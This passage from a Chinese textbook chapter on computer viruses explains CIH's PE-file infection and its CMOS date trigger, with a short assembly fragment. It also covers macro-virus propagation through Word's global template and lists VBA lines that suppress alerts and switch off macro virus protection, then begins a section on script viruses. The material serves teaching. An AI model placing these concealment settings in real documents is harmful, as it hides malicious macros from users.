52、来文件的正常入口。,(3)CIH病毒的感染过程 CIH病毒的传染是通过病毒主流内存过程中,调用Windows内核底层的IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现。这段程序长586字节。大致过程如下: 1 文件截获:调用INT 20的VxDcallUniToBCSPath系统功能调用,取回系统要开启的文件的文件名和路径。 2 EXE文件判断:非EXE文件,不感染,离开病毒程序,跳回Windows内核的正常文件处理程序。 3 PE格式判断:取出文件标识符进行分析,若Signature=“00455000(OOPE00)”且未感染,就对其感染;
53、否则,只发作。,4 寄生计算:CIH病毒利用PE格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内。 首先要技术计算有无可以存放病毒首块的空间。没有这样的空间就不感染。病毒首块包括: 病毒块链表指针区:8(区数+1)字节,存放每个病毒块的首地址(每块4字节)及其长度(每块4字节); 184字的病毒驻留程序。 接着将整个病毒读入内存,按PE文件的各区进行计算分配。,5 写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间。 (4)CIH病毒的发作 CIH v1.4在每年4月26日发作。病毒从CMOS的70、71端口取出
54、系统当前日期进行判断: mov ax,0708 ut 70,al in al,71; 取当前系统月份 xchg al,ah out 70,al in al,71; 取当前系统r日 xor ax,0426; 判断 ; jz病毒发作程序,1.3.4 宏病毒及其关键技术 1. 宏病毒及其发作 宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编写的可执行程序,用户使用宏可以完成一些重复性的工作。例如,用户可以通过宏定义一个击键序列,然后就可以通过敲击功能键或特定的组合键来启动该宏,以减少在键盘上的直接操作。 据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一。宏病毒所以如此猖獗,主要原因有
55、下列一些:,(1)宏病毒感染的是文档而不是代码的可执行部分 宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境。Word从6.0开始,Excel从4.0开始,数据文件中就包含了宏语言功能。而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输。这就为宏病毒的传播提高了方便途径。 (2)宏病毒与平台无关 应用极为普遍的Word和Excel是宏病毒的主要载体,所有支持Word和Excel的硬件平台和操作系统都会感染宏病毒。,(3)宏病毒中有一种自动执行宏,它不需要用户启动,只要出现相应的执行事件,就可以自动运行。常见的自动执行宏有表1.1所示的一些。 表1.
56、1 Windows的自动执行宏,表1.1 Windows的自动执行宏,不仅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有强大的宏语言。自Word97和Excel97之后,Microsoft逐渐将宏语言统一到VBA(Visual BASIC for Application)上。 除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权下面是一个在Normal模板中的AutoNew宏。当用户新打开一个Word时,就会弹出一个提示“新建文件自动执行宏示例”的窗口。 Sub AutoNew() MsgB
57、ox “新建文件自动执行宏示例”,0,“宏病毒测试” End Sub,2. 宏病毒的隐藏措施 (1)关闭有关提示和容易引起怀疑的操作,如 On Error Resume Next 出错时不提示,继续执行下面语句 Application . DisplayAlerts = wdAlertsNone 不弹出警告窗口 Application . DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态 Application . EnableCancelKey = wdCancelDisabled 不可通过ESC结束当前运行的宏 Application . ScreenU
58、pdating = False 关闭屏幕刷新,以免看到病毒引起的速度变慢 Options . SaveNormalPrompt = False 若公共模块被修改,不显示提示窗口直接保存 Options . VirusProtection = False 关闭病毒保护:若运行前包含宏,不提示 (2)屏蔽一些菜单功能(如“工具 | 宏”等),以免被用户手工发现。,3. 宏病毒的基本传播过程 (1)将宏病毒依附与一个Word文档; (2)通过电子邮件或移动存储设备,把该文档输入到一个系统; (3)一个被染毒的.doc文件被打开后,会通过Auto类宏来激活病毒,接着感染诸如normal.dot或pow
59、erup.dot等全局模板文件,得到系统的“永久”控制权。 (4)宏把自身拷贝到全局宏文件中; (5)下一次启动Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。,1.3.5 脚本病毒及其关键技术 1. 脚本病毒的特点 脚本是嵌入到数据文档中执行一个任务的一组指令。最典型的脚本是嵌入到网页中的脚本,它们可以实现网站的点击计数器、格式处理器、实时时钟、鼠标效果、搜索引擎等功能。 脚本由脚本语言描述。常用的脚本语言有:VBScript、Jscript、JavaScript、PerScript等。并且,脚本不是由CPU直接执行,而是有某个程序解释,如嵌入在HTML文件(网页)中的脚本是由浏览器解释执行的。 脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(regisry)等文件中,主要通过电子邮件和网页传播。,脚本病毒中最有代表性的是用VBScript 编写的VBS病毒。VBS病毒具有如下一些特点: 编写简单、生产容
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 肝脏疾病考试题目及答案
- 老年髋部骨折治疗的基准指标总结2026
- 2026年国际贸易实务操作试卷及答案
- 2026八年级下语文修辞手法分析技巧
- 保安员值班巡查制度
- 供热公司安全生产制度
- 氧压机考试试题及答案
- 企业员工制度
- 人社局公平竞争审查制度
- 淘宝仓库发货奖惩制度
- 2025年江西交通职业技术学院单招职业技能测试题库带答案解析
- 2026年内蒙古化工职业学院单招综合素质考试题库附答案详解(轻巧夺冠)
- 英语外企英语翻译实习报告
- 浙江乘鹰新材料:零碳(近零碳)工厂发展战略及实施方案
- 2026年金融监管机构面试问题集含答案
- 血站安全教育培训课件
- 2025中国医药工业研究总院有限公司本部中层岗位选聘2人笔试历年参考题库附带答案详解
- DB32∕T 5124.2-2025 临床护理技术规范 第2部分:成人危重症患者无创腹内压监测
- 建筑工程质量与安全管理论文
- 农村电商公共服务体系的建设与完善-以北京市大兴区为例
- 优生十项课件
评论
0/150
提交评论